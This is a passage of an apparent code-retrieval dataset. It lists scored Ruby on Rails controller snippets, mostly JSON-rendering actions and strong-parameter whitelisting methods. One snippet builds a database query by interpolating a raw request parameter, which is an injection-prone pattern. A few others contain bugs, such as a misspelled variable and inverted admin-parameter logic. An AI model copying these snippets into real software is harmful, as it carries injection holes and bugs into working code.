"text": "def index\n @participant = Participant__c.find(request[:participant_id])\n @fitness_goals = Fitness_Goal__c.query(\"Participant__r.Id=\" + \"'#{request[:participant_id]}'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fitness_goals }\n end\n end",
"title": ""
},
{
"docid": "d57acb28c34185f6be6fa6ec1b0d12e4",
"score": "0.6159113",
"text": "def new\n @fortune = Fortune.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fortune }\n end\n end",
"title": ""
},
{
"docid": "ca9c956e2afda570c8a04f6b54e08cb2",
"score": "0.6159065",
"text": "def show\n @funny = Funny.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @funny }\n end\n end",
"title": ""
},
{
"docid": "206a4a10bcc9dd7f81c4ce4da94cfa07",
"score": "0.6158732",
"text": "def show\n @fotky = Fotky.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fotky }\n end\n end",
"title": ""
},
{
"docid": "283c5913f233d90c043e11e8098e77b9",
"score": "0.61466813",
"text": "def show\n @teaching = Teaching.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @teaching }\n end\n end",
"title": ""
},
{
"docid": "3cf2b26dbee6cbb26f71ad7414ef506c",
"score": "0.61464655",
"text": "def show\n # @league = League.find(params[:id]) if params[:id]\n @league = League.find_by_slug(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @league }\n end\n end",
"title": ""
},
{
"docid": "b48466298d25cdadee226be9920087fa",
"score": "0.6144188",
"text": "def show\n @champion = Champion.find(params[:id])\n\t@fundraisers = Fundraiser.find_all_by_champion_id(@champion.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @champion }\n end\n end",
"title": ""
},
{
"docid": "34505d906026a72807df82d3da8c49d3",
"score": "0.61402655",
"text": "def show\n @gym = Gym.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @gym }\n end\n end",
"title": ""
},
{
"docid": "60356abb52947ebae57f99275b3a6dc1",
"score": "0.61349934",
"text": "def show\n @gym = Gym.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gym }\n end\n end",
"title": ""
},
{
"docid": "3c0f9cbbd37790cde7e8c2aba3e1e848",
"score": "0.61321396",
"text": "def show\n @championship = Championship.find(params[:championship_id])\n @team = @championship.teams.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"title": ""
},
{
"docid": "47b15a22c98f9eed5df57de97286899c",
"score": "0.6125652",
"text": "def new\n # @league = League.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @league }\n end\n end",
"title": ""
},
{
"docid": "93ebf99179155dd5e88afa8e19fa0444",
"score": "0.6120341",
"text": "def index\n render json: fpl_team_list_hash\n end",
"title": ""
},
{
"docid": "f942e1e92d56dd853bea9100b747dc71",
"score": "0.6116235",
"text": "def show\n render json: @girlfriend.to_json, status: 200 \n end",
"title": ""
},
{
"docid": "c0ba802c05f7f54127db81ec32aca4d4",
"score": "0.61123484",
"text": "def show\n @learner = Learner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @learner }\n end\n end",
"title": ""
},
{
"docid": "5b0885a479f7006315533cd4a58a409c",
"score": "0.61106557",
"text": "def index\n @serious = Team.where(:league => \"serious\").order(\"LOWER(name)\")\n @fun = Team.where(:league => \"fun\").order(\"LOWER(name)\")\n @doubles = Team.where(:league => \"doubles\").order(\"LOWER(name)\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: [@serious, @fun, @doules] }\n end\n end",
"title": ""
},
{
"docid": "9f91d29c473583e1e3ccea82ae266e35",
"score": "0.61092925",
"text": "def show\n @golf_fields_green = GolfFieldsGreen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @golf_fields_green }\n end\n end",
"title": ""
},
{
"docid": "7549ed3a9e10bc5f64115dad5f7b20b5",
"score": "0.6105788",
"text": "def show\n @gamblegame = Gamblegame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gamblegame }\n end\n end",
"title": ""
},
{
"docid": "fa4ad8ecd6817b477e77d842ab1357e2",
"score": "0.6102573",
"text": "def show\n @frage = Frage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @frage }\n end\n end",
"title": ""
},
{
"docid": "c6273c26ef46b2ce9312ea7b19ca671a",
"score": "0.61008465",
"text": "def show\n @clue = @team.clues.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @clue }\n format.json { render :text => @clue.to_json }\n end\n end",
"title": ""
},
{
"docid": "460b376df5769219102e96deca115edc",
"score": "0.60980326",
"text": "def show\n @allergy = Allergy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @allergy }\n end\n end",
"title": ""
},
{
"docid": "6d609c69cc44a44c47ed6ca6078069f6",
"score": "0.60944855",
"text": "def index\n @teachers = Teacher.all\n render json: @teachers\n end",
"title": ""
},
{
"docid": "2a43365835c627c5f95d7e1f2246f3cc",
"score": "0.60897326",
"text": "def new\n @fuguai = Fuguai.new\n @teammeis = Teammei.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fuguai }\n end\n end",
"title": ""
},
{
"docid": "fca49c66bbbe7cc367cff8e7c36b20ca",
"score": "0.6085401",
"text": "def show\n respond_with(@league)\n end",
"title": ""
},
{
"docid": "451cb2ff1afe4a3a3fb1d07cd77a496f",
"score": "0.6085293",
"text": "def new\n @league = League.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @league }\n end\n end",
"title": ""
},
{
"docid": "451cb2ff1afe4a3a3fb1d07cd77a496f",
"score": "0.6083918",
"text": "def new\n @league = League.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @league }\n end\n end",
"title": ""
},
{
"docid": "fedf5a84131cecb7445691e37d072256",
"score": "0.6083456",
"text": "def index\n logement = Logement.find(params[:logement_id])\n \n if logement.frais_suples.present? \n frais_suples = logement.frais_suples\n render json:{\n frais_suples:frais_suples\n }\n else\n render json:{\n ok: :\"no\"\n }\n end\n end",
"title": ""
},
{
"docid": "c0748aaad5c9d1c459af7ae71943042c",
"score": "0.6075041",
"text": "def show\n @founder = Founder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @founder }\n end\n end",
"title": ""
},
{
"docid": "85c5dcb6afa5602e0232a047ac39b7b3",
"score": "0.60745686",
"text": "def show\n render json: @league, include: :players\n end",
"title": ""
},
{
"docid": "53c232107d4e6552cd7a57843215f92f",
"score": "0.60738945",
"text": "def show\n @practice = Practice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @practice }\n end\n end",
"title": ""
},
{
"docid": "e2257b20f710498718c1b2057a01e6c8",
"score": "0.6073878",
"text": "def show\n @difficulty = Difficulty.find(params[:id])\n\n respond_to do |format|\n# format.html # show.html.erb\n# format.json { render json: @difficulty }\n end\n end",
"title": ""
},
{
"docid": "be5f6ba7cf41e56ae0a4be05685ae6f6",
"score": "0.60699415",
"text": "def show\n @legislation = Legislation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @legislation }\n end\n end",
"title": ""
},
{
"docid": "3bfb6c54e064e88bbf7fcad728fe757f",
"score": "0.60697305",
"text": "def show\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idea }\n end\n end",
"title": ""
},
{
"docid": "1b2d2a83add555602794a0d0bda3b626",
"score": "0.60656947",
"text": "def show\n @team = Team.find(params[:id])\n render json: @team\n end",
"title": ""
},
{
"docid": "274f8a37919b07d39f87b57a8090dd06",
"score": "0.6065282",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end",
"title": ""
},
{
"docid": "37bd14dd919f69f1fb664ab7913e2a11",
"score": "0.60651916",
"text": "def index\n render json: LessonVitalFact.all\n end",
"title": ""
},
{
"docid": "7e1a63c8916289b870c7ccdbcaad1620",
"score": "0.60616845",
"text": "def show\n @bettergame = Bettergame.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bettergame }\n end\n end",
"title": ""
},
{
"docid": "a068dc541a2b79d303a7db9d5060db41",
"score": "0.60601026",
"text": "def new\n @beginner = Beginner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beginner }\n end\n end",
"title": ""
},
{
"docid": "34795941dd54b35dcbbbcd54457187aa",
"score": "0.6059086",
"text": "def show\n @fosterer = Fosterer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fosterer }\n end\n end",
"title": ""
},
{
"docid": "966d7f71487a53edbefac4b72de40f4a",
"score": "0.60537934",
"text": "def index\n @feature_teams = FeatureTeam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @feature_teams }\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "2265e5537fbfd9bbc3e75e72a6278661",
"score": "0.0",
"text": "def upload_file_to_server_params\n params.require(:upload_file_to_server).permit(:email, :filename)\n end",
"title": ""
}
] | [
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.69792545",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.6781151",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.67419964",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.674013",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.6734356",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.6591046",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.6502396",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "3a9a65d2bba924ee9b0f67cb77596482",
"score": "0.6496313",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.6480641",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.64565",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.6438387",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.63791263",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.63740575",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.6364131",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.63192815",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.62991166",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.62978333",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.6292148",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "7f0fd756d3ff6be4725a2c0449076c58",
"score": "0.6290449",
"text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.6290076",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.62894756",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "5f16bb22cb90bcfdf354975d17e4e329",
"score": "0.6283177",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "1dfca9e0e667b83a9e2312940f7dc40c",
"score": "0.6242471",
"text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.62382483",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.6217549",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "7a218670e6f6c68ab2283e84c2de7ba8",
"score": "0.6214457",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "b074031c75c664c39575ac306e13028f",
"score": "0.6209053",
"text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.6193042",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.6177802",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.6174604",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.61714715",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "9d589006a5ea3bb58e5649f404ab60fb",
"score": "0.6161512",
"text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"title": ""
},
{
"docid": "d578c7096a9ab2d0edfc431732f63e7f",
"score": "0.6151757",
"text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "38a9fb6bd1d9ae5933b748c181928a6b",
"score": "0.6150663",
"text": "def safe_params\n params.require(:user).permit(:name)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.61461",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.61213595",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.6106206",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.6105114",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6089039",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.6081015",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "6d41ae38c20b78a3c0714db143b6c868",
"score": "0.6071004",
"text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "49052f91dd936c0acf416f1b9e46cf8b",
"score": "0.6019971",
"text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"title": ""
},
{
"docid": "5eaf08f3ad47cc781c4c1a5453555b9c",
"score": "0.601788",
"text": "def filtering_params\n params.permit(:email, :name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.6011056",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "3b17d5ad24c17e9a4c352d954737665d",
"score": "0.6010898",
"text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "74c092f6d50c271d51256cf52450605f",
"score": "0.6001556",
"text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"title": ""
},
{
"docid": "75415bb78d3a2b57d539f03a4afeaefc",
"score": "0.6001049",
"text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.59943926",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "65fa57add93316c7c8c6d8a0b4083d0e",
"score": "0.5992201",
"text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"title": ""
},
{
"docid": "865a5fdd77ce5687a127e85fc77cd0e7",
"score": "0.59909594",
"text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "ec609e2fe8d3137398f874bf5ef5dd01",
"score": "0.5990628",
"text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"title": ""
},
{
"docid": "423b4bad23126b332e80a303c3518a1e",
"score": "0.5980841",
"text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"title": ""
},
{
"docid": "48e86c5f3ec8a8981d8293506350accc",
"score": "0.59669393",
"text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"title": ""
},
{
"docid": "9f774a9b74e6cafa3dd7fcc914400b24",
"score": "0.59589154",
"text": "def active_code_params\n params[:active_code].permit\n end",
"title": ""
},
{
"docid": "a573514ae008b7c355d2b7c7f391e4ee",
"score": "0.5958826",
"text": "def filtering_params\n params.permit(:email)\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.5957911",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "8b571e320cf4baff8f6abe62e4143b73",
"score": "0.5957385",
"text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.5953072",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
},
{
"docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a",
"score": "0.59526145",
"text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"title": ""
},
{
"docid": "4e6017dd56aab21951f75b1ff822e78a",
"score": "0.5943361",
"text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.59386164",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59375334",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59375334",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "5060615f2c808bab2d45f4d281987903",
"score": "0.5933856",
"text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.59292704",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "d9483565c400cd4cb1096081599a7afc",
"score": "0.59254247",
"text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.5924164",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.59167904",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.59088355",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.5907542",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "753b67fc94e3cd8d6ff2024ce39dce9f",
"score": "0.59064597",
"text": "def url_whitelist; end",
"title": ""
},
{
"docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c",
"score": "0.5906243",
"text": "def admin_social_network_params\n params.require(:social_network).permit!\n end",
"title": ""
},
{
"docid": "5bdab99069d741cb3414bbd47400babb",
"score": "0.5898226",
"text": "def filter_params\n params.require(:filters).permit(:letters)\n end",
"title": ""
},
{
"docid": "7c5ee86a81b391c12dc28a6fe333c0a8",
"score": "0.589687",
"text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"title": ""
},
{
"docid": "de77f0ab5c853b95989bc97c90c68f68",
"score": "0.5896091",
"text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "29d030b36f50179adf03254f7954c362",
"score": "0.5894501",
"text": "def sensitive_params=(params)\n @sensitive_params = params\n end",
"title": ""
},
{
"docid": "bf321f5f57841bb0f8c872ef765f491f",
"score": "0.5894289",
"text": "def permit_request_params\n params.permit(:address)\n end",
"title": ""
},
{
"docid": "5186021506f83eb2f6e244d943b19970",
"score": "0.5891739",
"text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"title": ""
},
{
"docid": "b85a12ab41643078cb8da859e342acd5",
"score": "0.58860534",
"text": "def secure_params\n params.require(:location).permit(:name)\n end",
"title": ""
},
{
"docid": "46e104db6a3ac3601fe5904e4d5c425c",
"score": "0.5882406",
"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"title": ""
},
{
"docid": "abca6170eec412a7337563085a3a4af2",
"score": "0.587974",
"text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"title": ""
},
{
"docid": "26a35c2ace1a305199189db9e03329f1",
"score": "0.58738774",
"text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "de49fd084b37115524e08d6e4caf562d",
"score": "0.5869024",
"text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"title": ""
},
{
"docid": "7b7ecfcd484357c3ae3897515fd2931d",
"score": "0.58679986",
"text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "0016f219c5d958f9b730e0824eca9c4a",
"score": "0.5867561",
"text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"title": ""
},
{
"docid": "8aa9e548d99691623d72891f5acc5cdb",
"score": "0.5865932",
"text": "def url_params\n params[:url].permit(:full)\n end",
"title": ""
},
{
"docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3",
"score": "0.5864461",
"text": "def backend_user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.58639693",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "967c637f06ec2ba8f24e84f6a19f3cf5",
"score": "0.58617616",
"text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"title": ""
},
{
"docid": "e4a29797f9bdada732853b2ce3c1d12a",
"score": "0.5861436",
"text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"title": ""
},
{
"docid": "d14f33ed4a16a55600c556743366c501",
"score": "0.5860451",
